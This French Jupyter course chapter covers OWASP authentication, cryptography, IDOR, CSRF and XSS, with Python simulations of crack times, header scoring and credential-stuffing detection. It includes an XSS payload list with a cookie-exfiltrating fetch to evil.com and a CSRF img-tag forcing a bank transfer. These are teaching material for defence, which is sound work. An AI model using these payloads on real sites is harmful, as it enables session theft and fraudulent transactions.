---
jupytext:
  text_representation:
    extension: .md
    format_name: myst
    format_version: 0.13
    jupytext_version: 1.16.0
kernelspec:
  name: python3
  display_name: Python 3
---

# 11. OWASP Top 10 — Authentification, autorisation et cryptographie

## Introduction

L'authentification brisée (A07:2021), les défaillances cryptographiques (A02:2021) et la mauvaise configuration de sécurité (A05:2021) représentent ensemble près de 40 % des incidents web répertoriés. Ce chapitre couvre les mécanismes d'attaque et les contre-mesures pour les vulnérabilités liées à l'identité, aux sessions et à la cryptographie applicative.

---

## Broken Authentication

### Credential Stuffing

Le credential stuffing exploite les bases de données de couples (identifiant, mot de passe) issus de fuites antérieures. L'attaquant teste mécaniquement ces credentials sur d'autres services, pariant sur la réutilisation de mots de passe.

Statistiques observées :
- Taux de succès moyen : 0,1 % à 2 % selon la cible et la qualité de la liste.
- Les listes les plus utilisées (Collection #1, RockYou 2021) contiennent des milliards d'entrées.
- Un taux de 0,5 % sur une liste de 1 million représente 5 000 comptes compromis.

**Contre-mesures :**
- MFA (Multi-Factor Authentication) — rend les credentials seuls insuffisants.
- Détection d'anomalies : volume de tentatives depuis une même IP, user-agents inhabituels, vitesse de frappe robotique.
- Vérification des credentials contre des bases de fuites connues (`Have I Been Pwned` API).
- CAPTCHA adaptatif sur les formulaires de connexion.

### Brute Force et entropie des mots de passe

L'entropie d'un mot de passe mesure le nombre de bits d'information qu'il contient :

```
H = log₂(N^L)  = L × log₂(N)
```
où N est la taille de l'alphabet et L la longueur.

| Alphabet | Exemple | N | 12 caractères | 16 caractères |
|---|---|---|---|---|
| Chiffres seuls | PIN | 10 | 39,9 bits | 53,2 bits |
| Minuscules | — | 26 | 56,4 bits | 75,2 bits |
| Alphanumérique | — | 62 | 71,5 bits | 95,3 bits |
| Tous ASCII imprimables | — | 95 | 78,8 bits | 105,1 bits |
| Passphrase (BIP39) | — | 2048 | — | 176 bits (16 mots) |

### Session Fixation

L'attaquant impose un identifiant de session connu à la victime avant son authentification. Après connexion, la session fixée est désormais authentifiée.

**Protection :** régénérer l'identifiant de session à chaque authentification (`session_regenerate_id(true)` en PHP, `session.cycle_key()` en Flask).

### Tokens prédictibles

Les jetons de session basés sur des PRNG faibles ou des timestamps peuvent être prédits par énumération. Utiliser des CSPRNG (`os.urandom()`, `secrets.token_hex(32)`).

---

## IDOR — Insecure Direct Object Reference

### Principe

L'IDOR est une vulnérabilité de contrôle d'accès où un attaquant modifie une référence à un objet (ID, chemin, nom de fichier) pour accéder à des ressources appartenant à d'autres utilisateurs.

```
GET /api/factures/1042   → ma facture (légitime)
GET /api/factures/1043   → facture d'un autre utilisateur (IDOR)
```

### Escalade horizontale vs verticale

- **Horizontale** : accès aux ressources d'un utilisateur de même niveau de privilège.
- **Verticale** : accès aux fonctions ou ressources d'un rôle supérieur.

```
GET /api/users/123/profil → Alice accède à son profil
GET /api/users/124/profil → Alice accède au profil de Bob (horizontal)
GET /api/admin/users      → Alice accède aux fonctions d'administration (vertical)
```

**Correction :** chaque requête doit vérifier côté serveur que l'objet demandé appartient à l'utilisateur authentifié. Ne jamais faire confiance au client pour cette vérification.

---

## Cryptographic Failures

### Algorithmes faibles pour les mots de passe

MD5 et SHA-1 sont des fonctions de hachage généralistes, non conçues pour stocker des mots de passe. Leurs performances élevées deviennent une vulnérabilité :

| Algorithme | Vitesse (GPU RTX 3090) | Temps pour espace 8 chars |
|---|---|---|
| MD5 | ~70 milliards H/s | Quelques heures |
| SHA-1 | ~25 milliards H/s | Quelques jours |
| SHA-256 | ~10 milliards H/s | Quelques semaines |
| bcrypt (cost=12) | ~20 000 H/s | Des siècles |
| Argon2id | ~10 000 H/s | Des siècles |

**Règle :** utiliser exclusivement `bcrypt`, `scrypt`, `Argon2id` pour le stockage de mots de passe.

### IV réutilisés

En mode CBC ou CTR, la réutilisation d'un IV avec la même clé permet des attaques sur le chiffré. En CTR, deux chiffrés avec le même keystream permettent de retrouver XOR des plaintexts.

### Clés codées en dur

Des clés cryptographiques dans le code source ou les fichiers de configuration versionnés sont exposées à quiconque accède au dépôt.

```{admonition} Détection de secrets dans les dépôts
:class: tip
Outils : `truffleHog`, `gitleaks`, `detect-secrets`. Intégrer un hook pre-commit et une analyse CI/CD pour bloquer les commits contenant des secrets.
```

---

## Security Misconfiguration

### Credentials par défaut

Les équipements réseau, interfaces d'administration, bases de données livrés avec des identifiants par défaut représentent une surface d'attaque massive. Le botnet Mirai (2016) a compromis des millions d'objets connectés uniquement avec des credentials par défaut.

### Headers HTTP de sécurité

| Header | Protection |
|---|---|
| `Content-Security-Policy` | Prévient XSS, clickjacking, injection de ressources |
| `Strict-Transport-Security` | Force HTTPS, prévient downgrade SSL |
| `X-Frame-Options` | Prévient le clickjacking (iframe) |
| `X-Content-Type-Options: nosniff` | Empêche le MIME sniffing |
| `Referrer-Policy` | Contrôle les données transmises dans l'en-tête Referer |
| `Permissions-Policy` | Restreint l'accès aux APIs navigateur (caméra, micro, géo) |

**Configuration CSP minimale recommandée :**
```http
Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'
```

---

## CSRF — Cross-Site Request Forgery

### Mécanisme d'exploitation

Le CSRF force un navigateur authentifié à envoyer une requête non désirée vers un site cible. Le navigateur inclut automatiquement les cookies de session.

```html
<!-- Page malveillante hébergée sur evil.com -->
<img src="https://banque.fr/virement?montant=1000&dest=attaquant">
<!-- Ou avec un formulaire auto-soumis en JavaScript -->
```

### Politique SameSite des cookies

| Valeur | Comportement |
|---|---|
| `Strict` | Cookie jamais envoyé dans les requêtes cross-site |
| `Lax` | Cookie envoyé uniquement pour la navigation top-level (GET) |
| `None` | Cookie envoyé dans tous les contextes (requiert `Secure`) |

**Exemple de configuration sécurisée :**
```http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
```

### Tokens anti-CSRF

Le pattern double-submit cookie ou le token synchronizer (CSRF token dans le formulaire + vérification serveur) garantissent que la requête provient d'une page générée par le serveur.

```html
<!-- Formulaire avec token anti-CSRF -->
<form method="POST" action="/virement">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  ...
</form>
```

---

## XSS — Cross-Site Scripting

### Trois types de XSS

- **Reflected (non persistant)** : payload dans l'URL, retourné immédiatement dans la réponse. Requiert de tromper la victime pour cliquer sur un lien.
- **Stored (persistant)** : payload stocké en base de données, exécuté pour chaque visiteur de la page.
- **DOM-based** : manipulation du DOM côté client sans passer par le serveur (lecture de `location.hash`, `document.referrer`).

### Vecteurs d'injection XSS

```{admonition} Payloads XSS courants
:class: warning
Ces exemples sont à des fins pédagogiques uniquement.

- `<script>alert(document.cookie)</script>`
- `<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">`
- `javascript:void(0)` dans un href
- `<svg onload="malware()">`
- `"><script>` pour sortir d'un attribut HTML
```

### Défenses XSS

1. **Échappement contextuel** : HTML-encode dans le contexte HTML, JS-encode dans le contexte JavaScript.
2. **Content Security Policy** : restreint les sources de scripts autorisées.
3. **Cookies HttpOnly** : inaccessibles depuis JavaScript même en cas de XSS.
4. **Cookies Secure** : transmis uniquement sur HTTPS.
5. **Bibliothèques de sanitization** : `DOMPurify` (JavaScript), `bleach` (Python).

---

## Cellules Python exécutables

```{code-cell} python3
:tags: [hide-input]
import math
import hashlib
import time
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as mticker
import seaborn as sns
```

### Temps de crack selon l'entropie et l'algorithme de hachage

```{code-cell} python3
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

def entropie_bits(longueur, taille_alphabet):
    """Entropie d'un mot de passe aléatoire uniforme."""
    return longueur * math.log2(taille_alphabet)

def temps_crack_secondes(entropie_bits, hashes_par_sec):
    """Temps moyen pour craquer par force brute (moitié de l'espace)."""
    espace = 2 ** entropie_bits
    return espace / (2 * hashes_par_sec)

# Vitesses de hachage simulées (GPU RTX 3090, valeurs approximatives)
vitesses = {
    "MD5 (70 Gh/s)":      70_000_000_000,
    "SHA-256 (10 Gh/s)":  10_000_000_000,
    "bcrypt cost=10 (25 kH/s)": 25_000,
    "Argon2id (10 kH/s)": 10_000,
}

# Entropies testées : de 20 à 128 bits
entropies = np.linspace(20, 128, 200)

# Références temporelles
refs = {
    "1 seconde":  1,
    "1 heure":    3_600,
    "1 an":       3.156e7,
    "100 ans":    3.156e9,
    "Âge univers": 4.3e17,
}

fig, ax = plt.subplots(figsize=(12, 6))
colors = sns.color_palette("muted", len(vitesses))

for (algo, vitesse), col in zip(vitesses.items(), colors):
    temps = [temps_crack_secondes(e, vitesse) for e in entropies]
    ax.semilogy(entropies, temps, label=algo, color=col, linewidth=2.5)

# Lignes de référence temporelles
ref_colors = ["#aaaaaa", "#888888", "#666666", "#444444", "#222222"]
for (label, val), rcol in zip(refs.items(), ref_colors):
    ax.axhline(y=val, color=rcol, linestyle=":", linewidth=1.2, alpha=0.8)
    ax.text(125, val * 1.5, label, fontsize=8, color=rcol, ha="right")

ax.set_xlabel("Entropie du mot de passe (bits)")
ax.set_ylabel("Temps de crack moyen (secondes, échelle log)")
ax.set_title("Temps de crack par brute force selon l'entropie et l'algorithme de hachage", fontsize=12, fontweight="bold")
ax.legend(title="Algorithme / vitesse GPU", fontsize=9)
ax.yaxis.set_major_formatter(mticker.LogFormatterSciNotation())
ax.set_xlim(20, 128)
plt.show()

# Exemples numériques
print("Exemples de temps de crack pour un mot de passe alphanumérique (62 chars) :")
print(f"{'Longueur':<12} {'Entropie':<14} {'MD5':<22} {'bcrypt-10':<22} {'Argon2id':<22}")
print("-" * 90)
for lg in [6, 8, 10, 12, 16]:
    e = entropie_bits(lg, 62)
    t_md5  = temps_crack_secondes(e, 70_000_000_000)
    t_bc   = temps_crack_secondes(e, 25_000)
    t_ar   = temps_crack_secondes(e, 10_000)
    def fmt(s):
        if s < 60:       return f"{s:.1f} s"
        if s < 3600:     return f"{s/60:.1f} min"
        if s < 86400:    return f"{s/3600:.1f} h"
        if s < 3.156e7:  return f"{s/86400:.0f} jours"
        if s < 3.156e9:  return f"{s/3.156e7:.0f} ans"
        return f"{s/3.156e9:.2e} siècles"
    print(f"{lg:<12} {e:<14.1f} {fmt(t_md5):<22} {fmt(t_bc):<22} {fmt(t_ar):<22}")
```

### Scoring des headers HTTP de sécurité

```{code-cell} python3
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

# Définition des headers et de leur poids dans le score global
HEADERS_CONFIG = {
    "Content-Security-Policy":    {"poids": 30, "description": "Protection XSS / injection de ressources"},
    "Strict-Transport-Security":  {"poids": 20, "description": "Force HTTPS"},
    "X-Frame-Options":            {"poids": 10, "description": "Protection clickjacking"},
    "X-Content-Type-Options":     {"poids": 10, "description": "Prévient MIME sniffing"},
    "Referrer-Policy":            {"poids": 10, "description": "Contrôle du referrer"},
    "Permissions-Policy":         {"poids": 10, "description": "Restreint les APIs navigateur"},
    "X-XSS-Protection":           {"poids":  5, "description": "Filtre XSS navigateur (obsolète)"},
    "Cache-Control":              {"poids":  5, "description": "Contrôle du cache"},
}

def scorer_headers(headers_presents):
    """Calcule le score de sécurité pour un ensemble de headers."""
    score = 0
    for h in headers_presents:
        if h in HEADERS_CONFIG:
            score += HEADERS_CONFIG[h]["poids"]
    return min(score, 100)

# Profils simulés de réponses HTTP de différents services
profils = {
    "Application sécurisée": [
        "Content-Security-Policy",
        "Strict-Transport-Security",
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Permissions-Policy",
        "Cache-Control",
    ],
    "API bien configurée": [
        "Strict-Transport-Security",
        "X-Content-Type-Options",
        "Referrer-Policy",
        "Cache-Control",
    ],
    "Site web standard": [
        "X-Frame-Options",
        "X-Content-Type-Options",
        "Strict-Transport-Security",
    ],
    "Application legacy": [
        "X-XSS-Protection",
        "X-Frame-Options",
    ],
    "Aucun header de sécurité": [],
}

scores = {profil: scorer_headers(headers) for profil, headers in profils.items()}
noms = list(scores.keys())
valeurs = list(scores.values())

# Couleur selon le score
def couleur_score(s):
    if s >= 75: return sns.color_palette("muted")[2]   # vert
    if s >= 45: return sns.color_palette("muted")[1]   # bleu
    if s >= 25: return sns.color_palette("muted")[4]   # orange
    return sns.color_palette("muted")[3]               # rouge

couleurs = [couleur_score(s) for s in valeurs]

fig, axes = plt.subplots(1, 2, figsize=(14, 5))

# Bar chart des scores
bars = axes[0].barh(noms, valeurs, color=couleurs, edgecolor="white", height=0.6)
axes[0].set_xlim(0, 105)
axes[0].set_xlabel("Score de sécurité (/100)")
axes[0].set_title("Score de headers HTTP par profil", fontsize=11, fontweight="bold")
for bar, val in zip(bars, valeurs):
    axes[0].text(val + 1, bar.get_y() + bar.get_height() / 2,
                 f"{val}/100", va="center", fontsize=9, fontweight="bold")
axes[0].axvline(x=75, color="green", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil recommandé (75)")
axes[0].axvline(x=45, color="orange", linestyle="--", linewidth=1.5, alpha=0.7, label="Seuil acceptable (45)")
axes[0].legend(fontsize=8)

# Heatmap : présence/absence des headers par profil
import numpy as np
headers_liste = list(HEADERS_CONFIG.keys())
matrice = np.zeros((len(profils), len(headers_liste)))
for i, (_, headers) in enumerate(profils.items()):
    for j, h in enumerate(headers_liste):
        matrice[i, j] = 1 if h in headers else 0

sns.heatmap(
    matrice,
    annot=False,
    cmap=sns.color_palette(["#FFCDD2", "#C8E6C9"], as_cmap=True),
    xticklabels=[h.replace("-", "-\n") for h in headers_liste],
    yticklabels=noms,
    linewidths=1,
    linecolor="white",
    vmin=0, vmax=1,
    cbar=False,
    ax=axes[1]
)
axes[1].set_title("Présence des headers de sécurité (vert = présent)", fontsize=11, fontweight="bold")
axes[1].tick_params(axis="x", labelsize=7, rotation=45)
axes[1].tick_params(axis="y", labelsize=8)

fig.suptitle("Analyse des headers HTTP de sécurité", fontsize=13, fontweight="bold")
plt.show()

print("\nDétail des scores :")
for profil, score in scores.items():
    niveau = "Excellent" if score >= 75 else "Acceptable" if score >= 45 else "Insuffisant" if score >= 25 else "Critique"
    print(f"  {profil:<35} : {score:3}/100  [{niveau}]")
```

### Simulation de détection de credential stuffing

```{code-cell} python3
sns.set_theme(style="whitegrid", palette="muted", font_scale=1.1)

import collections
import random

random.seed(42)

# Simulation d'un flux de tentatives de connexion sur 10 minutes (600 secondes)
# Mélange de trafic légitime et d'une attaque de credential stuffing

def simuler_trafic(duree_s=600, n_users_legit=50, taux_attaque_debut=180):
    """
    Génère des événements de connexion.
    Retourne une liste de (timestamp, ip, username, succes).
    """
    evenements = []

    # Trafic légitime : 50 utilisateurs, ~1 connexion par minute chacun
    ips_legit = [f"192.0.2.{i}" for i in range(1, 51)]
    users_legit = [f"user_{i:03d}" for i in range(1, 51)]
    for _ in range(200):
        ts = random.uniform(0, duree_s)
        ip = random.choice(ips_legit)
        user = random.choice(users_legit)
        succes = random.random() < 0.95  # 95% de succès pour les légitimes
        evenements.append((ts, ip, user, succes))

    # Attaque de credential stuffing : 3 IPs d'attaque, à partir de t=180s
    ips_attaque = ["10.13.37.1", "10.13.37.2", "10.13.37.3"]
    n_comptes_liste = 5000  # taille de la liste de credentials
    for i in range(n_comptes_liste):
        ts = taux_attaque_debut + i * 0.05  # 20 tentatives/seconde
        if ts > duree_s:
            break
        ip = random.choice(ips_attaque)
        user = f"victime_{i:04d}"
        succes = random.random() < 0.005  # 0.5% de succès
        evenements.append((ts, ip, user, succes))

    return sorted(evenements, key=lambda x: x[0])

evenements = simuler_trafic()

# Calcul des métriques par fenêtre temporelle (fenêtres de 10 secondes)
fenetres = np.arange(0, 610, 10)
tentatives_par_fenetre = np.zeros(len(fenetres) - 1)
echecs_par_fenetre = np.zeros(len(fenetres) - 1)
ips_uniques_par_fenetre = [set() for _ in range(len(fenetres) - 1)]

for ts, ip, user, succes in evenements:
    idx = int(ts // 10)
    if idx < len(tentatives_par_fenetre):
        tentatives_par_fenetre[idx] += 1
        if not succes:
            echecs_par_fenetre[idx] += 1
        ips_uniques_par_fenetre[idx].add(ip)

n_ips_uniques = np.array([len(s) for s in ips_uniques_par_fenetre])
temps_milieu = (fenetres[:-1] + fenetres[1:]) / 2

# Seuils d'alarme
SEUIL_TENTATIVES = 50   # par fenêtre de 10 secondes
SEUIL_ECHECS     = 40
SEUIL_IPS        = 5

fig, axes = plt.subplots(3, 1, figsize=(13, 9), sharex=True)

# Tentatives totales
axes[0].bar(temps_milieu, tentatives_par_fenetre, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_TENTATIVES
                   else sns.color_palette("muted")[0] for v in tentatives_par_fenetre],
            alpha=0.8, edgecolor="none")
axes[0].axhline(y=SEUIL_TENTATIVES, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_TENTATIVES}/10s)")
axes[0].set_ylabel("Tentatives / 10 s")
axes[0].set_title("Détection de credential stuffing par rate limiting", fontsize=12, fontweight="bold")
axes[0].legend(fontsize=9)

# Échecs d'authentification
axes[1].bar(temps_milieu, echecs_par_fenetre, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_ECHECS
                   else sns.color_palette("muted")[1] for v in echecs_par_fenetre],
            alpha=0.8, edgecolor="none")
axes[1].axhline(y=SEUIL_ECHECS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_ECHECS}/10s)")
axes[1].set_ylabel("Échecs / 10 s")
axes[1].legend(fontsize=9)

# IPs sources uniques
axes[2].bar(temps_milieu, n_ips_uniques, width=9,
            color=[sns.color_palette("muted")[3] if v > SEUIL_IPS
                   else sns.color_palette("muted")[2] for v in n_ips_uniques],
            alpha=0.8, edgecolor="none")
axes[2].axhline(y=SEUIL_IPS, color="red", linestyle="--", linewidth=2, label=f"Seuil ({SEUIL_IPS} IPs/10s)")
axes[2].set_xlabel("Temps (secondes)")
axes[2].set_ylabel("IPs uniques / 10 s")
axes[2].legend(fontsize=9)

# Annotation du début de l'attaque
for ax in axes:
    ax.axvline(x=180, color="orange", linestyle="-.", linewidth=2, alpha=0.8)
axes[0].annotate("Début attaque (t=180s)", xy=(180, axes[0].get_ylim()[1] * 0.8),
                 xytext=(220, axes[0].get_ylim()[1] * 0.85),
                 fontsize=9, color="orange",
                 arrowprops=dict(arrowstyle="->", color="orange"))

plt.show()

# Statistiques de l'attaque simulée
total_attaque = sum(1 for ts, ip, _, _ in evenements if ip.startswith("10.13.37"))
succes_attaque = sum(1 for ts, ip, _, ok in evenements if ip.startswith("10.13.37") and ok)
print(f"Résumé de l'attaque simulée :")
print(f"  Tentatives totales  : {total_attaque:,}")
print(f"  Succès (compromis)  : {succes_attaque:,}")
print(f"  Taux de réussite    : {100*succes_attaque/total_attaque:.2f}%")
print(f"  Alarmes déclenchées : {int(np.sum(tentatives_par_fenetre > SEUIL_TENTATIVES))} fenêtres sur {len(tentatives_par_fenetre)}")
```

---

## Résumé

1. **Le credential stuffing** tire profit de la réutilisation des mots de passe entre services. Le MFA est la contre-mesure la plus efficace ; le rate limiting et la vérification contre des bases de fuites complètent la défense.

2. **L'entropie d'un mot de passe** détermine sa résistance au brute force. La séparation bcrypt/Argon2id vs MD5/SHA-256 représente un facteur de résistance de plusieurs millions à plusieurs milliards.

3. **L'IDOR** est une vulnérabilité de contrôle d'accès pure, non cryptographique. La vérification de propriété côté serveur, à chaque requête, est la seule protection fiable.

4. **Les défaillances cryptographiques** incluent le stockage sans sel avec MD5/SHA-1, la réutilisation d'IV, et les clés codées en dur. La règle d'or : utiliser des algorithmes dédiés au stockage de mots de passe et gérer les secrets via des vaults.

5. **Les headers HTTP de sécurité** constituent une défense en profondeur. Un CSP bien configuré est la protection la plus puissante contre XSS. HSTS prévient les attaques de downgrade SSL.

6. **SameSite=Lax ou Strict** sur les cookies de session élimine la majorité des attaques CSRF sans nécessiter de token explicite, tout en permettant la navigation normale.

7. **Le XSS stocké** est le plus dangereux : il affecte tous les visiteurs d'une page, à chaque chargement, sans action de phishing. La priorité est l'échappement contextuel des sorties HTML et un CSP à base de nonces.
